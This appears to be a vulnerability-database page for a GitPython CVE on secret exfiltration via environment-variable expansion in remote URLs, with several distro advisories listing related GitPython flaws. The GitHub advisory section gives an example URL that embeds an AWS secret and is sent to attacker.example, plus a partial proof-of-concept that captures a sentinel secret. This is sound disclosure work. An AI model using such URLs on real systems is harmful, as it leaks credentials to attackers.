Every CVE Search/ Get API key

CVE-2026-73622

GitPython before 3.1.55 Environment Variable Exfiltration via Remote.add()

8.7 HighFix available

GitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

0.51%Up 0.2 points since Aug 14, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.7

GitPython before 3.1.55 Environment Variable Exfiltration via Remote.add()

GitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.

Record
CVE-2026-73622
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-200
Updated
2026-11-02
EUVDEUVD-2026-57826 8.7

GitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.

Record
EUVD-2026-57826
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-94p4-4cq8-9g67 7.5

GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)

Summary

The fix for GHSA-rwj8-pgh3-r573 stopped Repo.clone_from() from running caller-supplied URLs through os.path.expandvars(), but it guarded only that one caller. Remote.create() — reached from the public Repo.create_remote() and its Remote.add() alias — still passes an attacker-influenceable URL through Git.polish_url() with the default expand_vars=True. A URL such as http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git is expanded server-side to embed the hosting process's environment secret, written into .git/config, and then transmitted to the attacker's host on the next fetch/pull. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed.

Root Cause

Fix commit 8ac5a305 added an expand_vars parameter to Git.polish_url() (default True) and used expand_vars=False only in Repo._clone() (git/repo/base.py:1455). The shared helper's dangerous default was left in place, and the other callers were not updated.

git/remote.py:811, Remote.create:

url = Git.polish_url(url)                 # expand_vars=True -> os.path.expandvars(url)
if not allow_unsafe_protocols:
    Git.check_unsafe_protocols(url)       # https:// carrying the secret passes
repo.git.remote(scmd, "--", name, url, **kwargs)   # expanded URL written to .git/config

check_unsafe_protocols() runs after expansion here, so it rejects an ext:: payload but does nothing about an https:// URL that carries an expanded secret in its path or host — the disclosure primitive.

The same unguarded call also sits at git/objects/submodule/base.py:611 (Submodule.add), which writes the expanded URL into .gitmodules (a tracked file) and .git/config.

Steps to Reproduce

Prerequisites

  • Python 3.9+
  • git on PATH (for the fetch step)
  • GitPython 3.1.53 (installed below)

Step 1: Install GitPython 3.1.53 in a clean venv

mkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc
python3 -m venv venv
./venv/bin/pip install gitpython==3.1.53

Step 2: Write the PoC

cat > poc.py <<'PYEOF'
#!/usr/bin/env python3
"""Env-var exfiltration via Repo.create_remote() URL. Sentinel data only."""
import http.server
import os
import tempfile
import threading

import git

print("gitpython version:", git.__version__)

# Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY.
SENTINEL = "leaked-a1b2c3-SENTINEL-do-not-use"
os.environ["GP_SENTINEL_SECRET"] = SENTINEL

# Local HTTP server standing in for attacker.example.
captured = []


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        captured.append(self.path)
        self.send_response(404)
        self.end_headers()

    def log_message(self, *a):
        pass


srv = http.server.HTTPServer(("127.0.0.1", 0), Handler)
port = srv.server_address[1]
threading.Thread(target=srv.serve_forever, daemon=True).start()

# Attacker-controlled URL handed to an "import from URL" feature.
attacker_url = "http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git" % port


def norm(s):  # display the ephemeral listener port as a stable placeholder
    return s.replace("127.0.0.1:%d" % port, "127.0.0.1:PORT")


print("attacker-supplied URL :", norm(attacker_url))

repo = git.Repo.init(tempfile.mkdtemp(prefix="gp-victim-"))
remote = repo.create_remote("evil", attacker_url)   # public API

stored = repo.remote("evil").url
print("stored remote URL     :",…
Record
GHSA-94p4-4cq8-9g67
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-200, CWE-214
Updated
2026-11-02
GitHub AdvisoriesGHSA-9rmj-fh79-gf6w 8.7

GitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and...

GitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.

Record
GHSA-9rmj-fh79-gf6w
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-200
Updated
2026-11-02
NVD 8.7

GitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.

Record
CVE-2026-73622
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-200
Updated
2026-11-02
OSV 8.7

GitPython before 3.1.55 Environment Variable Exfiltration via Remote.add()

GitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.

Record
CVE-2026-73622
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-200
Updated
2026-11-02
Show 14 moreShow less
OSVDEBIAN-CVE-2026-73622 8.7

GitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.

Record
DEBIAN-CVE-2026-73622
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Updated
2026-11-02
OSVGHSA-94p4-4cq8-9g67 7.5

GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)

Summary

The fix for GHSA-rwj8-pgh3-r573 stopped Repo.clone_from() from running caller-supplied URLs through os.path.expandvars(), but it guarded only that one caller. Remote.create() — reached from the public Repo.create_remote() and its Remote.add() alias — still passes an attacker-influenceable URL through Git.polish_url() with the default expand_vars=True. A URL such as http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git is expanded server-side to embed the hosting process's environment secret, written into .git/config, and then transmitted to the attacker's host on the next fetch/pull. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed.

Root Cause

Fix commit 8ac5a305 added an expand_vars parameter to Git.polish_url() (default True) and used expand_vars=False only in Repo._clone() (git/repo/base.py:1455). The shared helper's dangerous default was left in place, and the other callers were not updated.

git/remote.py:811, Remote.create:

url = Git.polish_url(url)                 # expand_vars=True -> os.path.expandvars(url)
if not allow_unsafe_protocols:
    Git.check_unsafe_protocols(url)       # https:// carrying the secret passes
repo.git.remote(scmd, "--", name, url, **kwargs)   # expanded URL written to .git/config

check_unsafe_protocols() runs after expansion here, so it rejects an ext:: payload but does nothing about an https:// URL that carries an expanded secret in its path or host — the disclosure primitive.

The same unguarded call also sits at git/objects/submodule/base.py:611 (Submodule.add), which writes the expanded URL into .gitmodules (a tracked file) and .git/config.

Steps to Reproduce

Prerequisites

  • Python 3.9+
  • git on PATH (for the fetch step)
  • GitPython 3.1.53 (installed below)

Step 1: Install GitPython 3.1.53 in a clean venv

mkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc
python3 -m venv venv
./venv/bin/pip install gitpython==3.1.53

Step 2: Write the PoC

cat > poc.py <<'PYEOF'
#!/usr/bin/env python3
"""Env-var exfiltration via Repo.create_remote() URL. Sentinel data only."""
import http.server
import os
import tempfile
import threading

import git

print("gitpython version:", git.__version__)

# Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY.
SENTINEL = "leaked-a1b2c3-SENTINEL-do-not-use"
os.environ["GP_SENTINEL_SECRET"] = SENTINEL

# Local HTTP server standing in for attacker.example.
captured = []


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        captured.append(self.path)
        self.send_response(404)
        self.end_headers()

    def log_message(self, *a):
        pass


srv = http.server.HTTPServer(("127.0.0.1", 0), Handler)
port = srv.server_address[1]
threading.Thread(target=srv.serve_forever, daemon=True).start()

# Attacker-controlled URL handed to an "import from URL" feature.
attacker_url = "http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git" % port


def norm(s):  # display the ephemeral listener port as a stable placeholder
    return s.replace("127.0.0.1:%d" % port, "127.0.0.1:PORT")


print("attacker-supplied URL :", norm(attacker_url))

repo = git.Repo.init(tempfile.mkdtemp(prefix="gp-victim-"))
remote = repo.create_remote("evil", attacker_url)   # public API

stored = repo.remote("evil").url
print("stored remote URL     :",…
Record
GHSA-94p4-4cq8-9g67
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-200, CWE-214
Updated
2026-11-02
OSVOESA-2026-3699 9.3

python-GitPython security update

GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.

Security Fix(es):

GitPython before 3.1.57 contains an incomplete denylist in the unsafe_git_archive_options guard that omits --add-file and --add-virtual-file options. Attackers can supply these options to Repo.archive() to read arbitrary files from the filesystem and include them in the returned archive.(CVE-2026-73619)

GitPython before 3.1.57 fails to guard git option forwarding in IndexFile.checkout() and TagReference.create(), allowing attackers to pass unsafe options via kwargs. Attackers can use --prefix to overwrite arbitrary files with repository content or -F to read arbitrary files returned in-band.(CVE-2026-73620)

GitPython before 3.1.56 contains an argument injection vulnerability in the Commit.count() method, which forwards keyword arguments to 'git rev-list' without the check_unsafe_options guard present in the sibling iter_items method. An attacker who can control options passed to Commit.count (e.g., via an application that forwards a user-supplied options dict) can supply output=<path>, causing 'git rev-list --output=<path>' to open and truncate the target file to zero bytes before revision parsing. This allows destruction/blanking of an arbitrary file at the process's privilege level (no content control, 0-byte truncation).(CVE-2026-73621)

GitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.(CVE-2026-73622)

GitPython before 3.1.54 contains an incomplete denylist in unsafe_git_clone_options that omits --template, allowing attackers to achieve arbitrary command execution during clone operations. Attackers can supply --template pointing to a directory containing malicious post-checkout hooks that execute when git clones the repository.(CVE-2026-73623)

GitPython versions before 3.1.54 contain an arbitrary file overwrite vulnerability in the Diffable.diff method that fails to validate git options passed through kwargs. Attackers can supply the --output argument via the other parameter or output kwarg to write patch content to attacker-chosen file paths at process privilege level.(CVE-2026-73624)

GitPython versions before 3.1.54 contain a remote code execution vulnerability in the check_unsafe_options guard that can be bypassed by smuggling git options inside single-character kwarg values. Attackers can supply crafted option dictionaries to clone_from, fetch, pull, push, ls_remote, iter_commits, blame, or archive methods to execute arbitrary OS commands via the --upload-pack parameter.(CVE-2026-73625)

GitPython versions before 3.1.58 fail to validate options passed to git rm and git checkout commands in IndexFile.remove() and Head.checkout(). Attackers can supply --pathspec-from-file and --pathspec-file-nul parameters to read arbitrary files accessible to the process, with full file contents returned in GitCommandError.stderr.(CVE-2026-76217)

GitPython before 3.1.58 contains a remote code execution vulnerability in Repo.init that forwards unsafe git options without validation. Attackers can supply a template parameter pointing to a directory with malicious git hooks that execute arbitrary code when git operations are performed on the initialized repository.(CVE-2026-76218)

GitPython versions before 3.1.58 contain an arbitrary file overwrite vulnerability in IndexFile.from_tree, IndexFile.reset, and IndexFile.merge_tree methods that append caller-influenced treeish strings to git read-tree without option validation or argument separation. Attackers can inject the --index-output option to…

Record
OESA-2026-3699
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Updated
2026-11-02
OSVOESA-2026-3700 9.3

python-GitPython security update

GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.

Security Fix(es):

GitPython before 3.1.57 contains an incomplete denylist in the unsafe_git_archive_options guard that omits --add-file and --add-virtual-file options. Attackers can supply these options to Repo.archive() to read arbitrary files from the filesystem and include them in the returned archive.(CVE-2026-73619)

GitPython before 3.1.57 fails to guard git option forwarding in IndexFile.checkout() and TagReference.create(), allowing attackers to pass unsafe options via kwargs. Attackers can use --prefix to overwrite arbitrary files with repository content or -F to read arbitrary files returned in-band.(CVE-2026-73620)

GitPython before 3.1.56 contains an argument injection vulnerability in the Commit.count() method, which forwards keyword arguments to 'git rev-list' without the check_unsafe_options guard present in the sibling iter_items method. An attacker who can control options passed to Commit.count (e.g., via an application that forwards a user-supplied options dict) can supply output=<path>, causing 'git rev-list --output=<path>' to open and truncate the target file to zero bytes before revision parsing. This allows destruction/blanking of an arbitrary file at the process's privilege level (no content control, 0-byte truncation).(CVE-2026-73621)

GitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.(CVE-2026-73622)

GitPython before 3.1.54 contains an incomplete denylist in unsafe_git_clone_options that omits --template, allowing attackers to achieve arbitrary command execution during clone operations. Attackers can supply --template pointing to a directory containing malicious post-checkout hooks that execute when git clones the repository.(CVE-2026-73623)

GitPython versions before 3.1.54 contain an arbitrary file overwrite vulnerability in the Diffable.diff method that fails to validate git options passed through kwargs. Attackers can supply the --output argument via the other parameter or output kwarg to write patch content to attacker-chosen file paths at process privilege level.(CVE-2026-73624)

GitPython versions before 3.1.54 contain a remote code execution vulnerability in the check_unsafe_options guard that can be bypassed by smuggling git options inside single-character kwarg values. Attackers can supply crafted option dictionaries to clone_from, fetch, pull, push, ls_remote, iter_commits, blame, or archive methods to execute arbitrary OS commands via the --upload-pack parameter.(CVE-2026-73625)

GitPython versions before 3.1.58 fail to validate options passed to git rm and git checkout commands in IndexFile.remove() and Head.checkout(). Attackers can supply --pathspec-from-file and --pathspec-file-nul parameters to read arbitrary files accessible to the process, with full file contents returned in GitCommandError.stderr.(CVE-2026-76217)

GitPython before 3.1.58 contains a remote code execution vulnerability in Repo.init that forwards unsafe git options without validation. Attackers can supply a template parameter pointing to a directory with malicious git hooks that execute arbitrary code when git operations are performed on the initialized repository.(CVE-2026-76218)

GitPython versions before 3.1.58 contain an arbitrary file overwrite vulnerability in IndexFile.from_tree, IndexFile.reset, and IndexFile.merge_tree methods that append caller-influenced treeish strings to git read-tree without option validation or argument separation. Attackers can inject the --index-output option to…

Record
OESA-2026-3700
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Updated
2026-11-02
OSVOESA-2026-3721 9.3

python-GitPython security update

GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.

Security Fix(es):

GitPython before 3.1.57 contains an incomplete denylist in the unsafe_git_archive_options guard that omits --add-file and --add-virtual-file options. Attackers can supply these options to Repo.archive() to read arbitrary files from the filesystem and include them in the returned archive.(CVE-2026-73619)

GitPython before 3.1.57 fails to guard git option forwarding in IndexFile.checkout() and TagReference.create(), allowing attackers to pass unsafe options via kwargs. Attackers can use --prefix to overwrite arbitrary files with repository content or -F to read arbitrary files returned in-band.(CVE-2026-73620)

GitPython before 3.1.56 contains an argument injection vulnerability in the Commit.count() method, which forwards keyword arguments to 'git rev-list' without the check_unsafe_options guard present in the sibling iter_items method. An attacker who can control options passed to Commit.count (e.g., via an application that forwards a user-supplied options dict) can supply output=<path>, causing 'git rev-list --output=<path>' to open and truncate the target file to zero bytes before revision parsing. This allows destruction/blanking of an arbitrary file at the process's privilege level (no content control, 0-byte truncation).(CVE-2026-73621)

GitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.(CVE-2026-73622)

GitPython before 3.1.54 contains an incomplete denylist in unsafe_git_clone_options that omits --template, allowing attackers to achieve arbitrary command execution during clone operations. Attackers can supply --template pointing to a directory containing malicious post-checkout hooks that execute when git clones the repository.(CVE-2026-73623)

GitPython versions before 3.1.54 contain an arbitrary file overwrite vulnerability in the Diffable.diff method that fails to validate git options passed through kwargs. Attackers can supply the --output argument via the other parameter or output kwarg to write patch content to attacker-chosen file paths at process privilege level.(CVE-2026-73624)

GitPython versions before 3.1.54 contain a remote code execution vulnerability in the check_unsafe_options guard that can be bypassed by smuggling git options inside single-character kwarg values. Attackers can supply crafted option dictionaries to clone_from, fetch, pull, push, ls_remote, iter_commits, blame, or archive methods to execute arbitrary OS commands via the --upload-pack parameter.(CVE-2026-73625)

GitPython versions before 3.1.58 fail to validate options passed to git rm and git checkout commands in IndexFile.remove() and Head.checkout(). Attackers can supply --pathspec-from-file and --pathspec-file-nul parameters to read arbitrary files accessible to the process, with full file contents returned in GitCommandError.stderr.(CVE-2026-76217)

GitPython before 3.1.58 contains a remote code execution vulnerability in Repo.init that forwards unsafe git options without validation. Attackers can supply a template parameter pointing to a directory with malicious git hooks that execute arbitrary code when git operations are performed on the initialized repository.(CVE-2026-76218)

GitPython versions before 3.1.58 contain an arbitrary file overwrite vulnerability in IndexFile.from_tree, IndexFile.reset, and IndexFile.merge_tree methods that append caller-influenced treeish strings to git read-tree without option validation or argument separation. Attackers can inject the --index-output option to…

Record
OESA-2026-3721
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Updated
2026-11-02
OSVPYSEC-2026-3951 8.7

GitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.

Record
PYSEC-2026-3951
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Updated
2026-11-02
OSVRHSA-2026:63385 8.8

Red Hat Security Advisory: Satellite 6.19.4 Async Update

Record
RHSA-2026:63385
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:74505 9.1

Red Hat Security Advisory: Satellite 6.17.12 Async Update

Record
RHSA-2026:74505
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
Updated
2026-11-02
OSVRHSA-2026:74506 9.1

Red Hat Security Advisory: Satellite 6.16.14 Async Update

Record
RHSA-2026:74506
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
Updated
2026-11-02
OSVUBUNTU-CVE-2026-73622 8.7

GitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.

Record
UBUNTU-CVE-2026-73622
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Updated
2026-11-02
OSVCLSA-2026-1787913334 No score

TuxCare security update for gitpython (6 CVEs)

TuxCare rebuilt gitpython to address 6 CVEs. Fixed in 3.1.31.post11+tuxcare.

Record
CLSA-2026-1787913334
Updated
2026-11-02
OSVopenSUSE-SU-2026:21874-1 No score

Security update for python-GitPython

This update for python-GitPython fixes the following issues:

  • CVE-2026-67322: environment-variable exfiltration in Repo.clone_from() URL via os.path.expandvars() (bsc#1273357).
  • CVE-2026-67323: unguarded Git options passed as keyword arguments in Repo.archive() and git.ls_remote() allow for command injection (bsc#1273358).
  • CVE-2026-67325: incomplete command injection blocklist fails to account for git's long-option prefix abbreviation feature and allows for bypass (bsc#1273359).
  • CVE-2026-67326: failure to validate newline characters in the section parameter of config_writer() can lead to RCE via core.hooksPath (bsc#1273364).
  • CVE-2026-69097: failure to properly escape section names in Git config files allows for injection of arbitrary configuration directives through malicious submodule names and can lead to RCE (bsc#1273414).
  • CVE-2026-73619: incomplete denylist in the unsafe_git_archive_options guard that omits --add-file and --add- virtual-file options can lead to arbitrary file reads (bsc#1275755).
  • CVE-2026-73620: failure to guard Git option forwarding in IndexFile.checkout() and TagReference.create() can lead to arbitrary file reads and writes (bsc#1275756).
  • CVE-2026-73621: argument injection in the Commit.count() method allows for destruction/blanking of arbitrary files (bsc#1275757).
  • CVE-2026-73622: failure to disable environment variable expansion in Remote.create() and Submodule.add() URL handling allows for secret exfiltration via URLs containing variable references (bsc#1275751).
  • CVE-2026-73623: incomplete denylist in unsafe_git_clone_options that omits --template allows for arbitrary command execution (bsc#1275752).
  • CVE-2026-73624: Diffable.diff method fails to validate git options passed through kwargs, which can lead to arbitrary file writes (bsc#1275753).
  • CVE-2026-73625: check_unsafe_options guard bypass via smuggling of git options inside single-character kwarg values can lead to arbitrary code execution (bsc#1275754).
  • CVE-2026-76217: failure to validate options passed to git rm and git checkout commands in IndexFile.remove() and Head.checkout() can lead to arbitrary file reads (bsc#1275745).
  • CVE-2026-76218: unguarded git option forwarding in Repo.init allows for arbitrary command execution (bsc#1275746).
  • CVE-2026-76219: unguarded git read-tree option forwarding in IndexFile.from_tree/reset/merge_tree can lead to arbitrary file overwrites (bsc#1275747).
  • CVE-2026-76220: check_unsafe_options guard can be bypassed by combining a single-character kwarg with split_single_char_options=False, which can lead to arbitrary OS command injection (bsc#1275748).
  • CVE-2026-76221: config-name injection in the option-name validator can lead to remote code execution (bsc#1275749).
  • CVE-2026-76222: failure to validate submodule names from .gitmodules files allows creation of Git repositories at arbitrary filesystem paths outside the intended clone directory (bsc#1275750).
  • CVE-2026-78675: failure to disable merge_includes when parsing .gitmodules can lead to discloseure of local file contents when arbitrary file paths are included via [include] directives (bsc#1276434).
  • CVE-2026-78676: failure to safely re-serialize multi-line git-config values during write operations can corrupt dormant quoted values into live injected directives (bsc#1276433).
  • CVE-2026-78677: omission of --separate-git-dir from unsafe_git_clone_options allows for creation of arbitrary git directories outside the intended clone destination (bsc#1276432).
  • CVE-2026-78678: incomplete denylist in the unsafe_git_revision_options guard that omits --contents and -S options allows for reading of arbitrary files when these options to are passed to Repo.blame() (bsc#1276431).
  • CVE-2026-78679: positional reference parameter can bypass an unsafe option guard and allows for arbitrary file read via…
Record
openSUSE-SU-2026:21874-1
Updated
2026-11-02
OSVROOT-APP-PYPI-GHSA-94p4-4cq8-9g67 No score

GHSA-94p4-4cq8-9g67 in GitPython - Patched by Root

Root has patched GHSA-94p4-4cq8-9g67 in the GitPython package for Root:PyPI. Multiple fixed versions available.

Record
ROOT-APP-PYPI-GHSA-94p4-4cq8-9g67
Updated
2026-11-02
OSVSUSE-SU-2026:4072-1 No score

Security update for python-GitPython

This update for python-GitPython fixes the following issues:

  • CVE-2026-42215: command injection via Git options bypass (bsc#1264604).
  • CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).
  • CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the repository (bsc#1264606).
  • CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).
  • CVE-2026-67322: vulnerable to environment-variable exfiltration in Repo.clone_from() (bsc#1273357).
  • CVE-2026-67323: fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote() (bsc#1273358).
  • CVE-2026-67325: contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature (bsc#1273359).
  • CVE-2026-67326: fails to validate newline characters in the section parameter of config_writer() (bsc#1273364).
  • CVE-2026-69097: fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names (bsc#1273414).
  • CVE-2026-73619: incomplete denylist in the unsafe_git_archive_options guard that omits --add-file and --add- virtual-file options can lead to arbitrary file reads (bsc#1275755).
  • CVE-2026-73620: failure to guard git option forwarding in IndexFile.checkout() and TagReference.create() can lead to arbitrary file reads and writes (bsc#1275756).
  • CVE-2026-73621: argument injection in the Commit.count() method allows for destruction/blanking of arbitrary files (bsc#1275757).
  • CVE-2026-73622: failure to disable environment variable expansion in Remote.create() and Submodule.add() URL handling allows for secret exfiltration via URLs containing variable references (bsc#1275751).
  • CVE-2026-73623: incomplete denylist in unsafe_git_clone_options that omits --template allows for arbitrary command execution (bsc#1275752).
  • CVE-2026-73624: Diffable.diff method fails to validate git options passed through kwargs, which can lead to arbitrary file writes (bsc#1275753).
  • CVE-2026-73625: check_unsafe_options guard bypass via smuggling of git options inside single-character kwarg values can lead to arbitrary code execution (bsc#1275754).
  • CVE-2026-76217: failure to validate options passed to git rm and git checkout commands in IndexFile.remove() and Head.checkout() can lead to arbitrary file reads (bsc#1275745).
  • CVE-2026-76218: unguarded git option forwarding in Repo.init allows for arbitrary command execution (bsc#1275746).
  • CVE-2026-76219: unguarded git read-tree option forwarding in IndexFile.from_tree/reset/merge_tree can lead to arbitrary file overwrites (bsc#1275747).
  • CVE-2026-76220: check_unsafe_options guard can be bypassed by combining a single-character kwarg with split_single_char_options=False, which can lead to arbitrary OS command injection (bsc#1275748).
  • CVE-2026-76221: config-name injection in the option-name validator can lead to remote code execution (bsc#1275749).
  • CVE-2026-76222: failure to validate submodule names from .gitmodules files allows creation of Git repositories at arbitrary filesystem paths outside the intended clone directory (bsc#1275750).
  • CVE-2026-78675: fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives (bsc#1276434).
  • CVE-2026-78676: fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives (bsc#1276433).
